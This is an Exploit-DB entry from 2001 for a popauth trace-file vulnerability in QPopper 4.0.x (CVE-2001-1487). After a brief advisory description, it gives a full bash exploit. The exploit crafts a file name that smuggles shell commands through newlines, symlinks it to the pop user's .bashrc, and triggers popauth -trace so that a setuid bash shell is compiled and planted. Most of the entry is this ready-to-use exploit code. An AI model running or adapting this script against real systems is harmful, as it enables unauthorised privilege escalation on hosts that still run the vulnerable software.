QPopper 4.0.x PopAuth Trace File Shell Command Execution Vulnerability

2001-12-18T00:00:00
ID EDB-ID:21185
Type exploitdb
Reporter IhaQueR
Modified 2001-12-18T00:00:00

Description

QPopper 4.0.x PopAuth Trace File Shell Command Execution Vulnerability. CVE-2001-1487. Remote exploit for unix platform

                                        
                                            source: http://www.securityfocus.com/bid/3710/info

Qpopper is a freely available, open source Post Office Protocol server. It is maintained and distributed by Qualcomm.

When popauth is executed with the trace option, it does not correctly handle user-supplied input. A user can supply data to the popauth program through the trace flag which will cause the program to execute shell commands, and follow symbolic links.

This problem could be exploited to gain privilege elevation equal to that of the setuid bit on popauth, typically setuid as the pop user. 

#!/bin/bash

# popauth symlink follow vuln by IhaQueR
# this will create .bashrc for user pop
# and ~pop/sup suid shell

FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \"#include <stdio.h>\nmain(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\", \\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho done\n\n\""')

ln -s /var/lib/pop/.bashrc "$FILE"

/usr/sbin/popauth -trace "$FILE"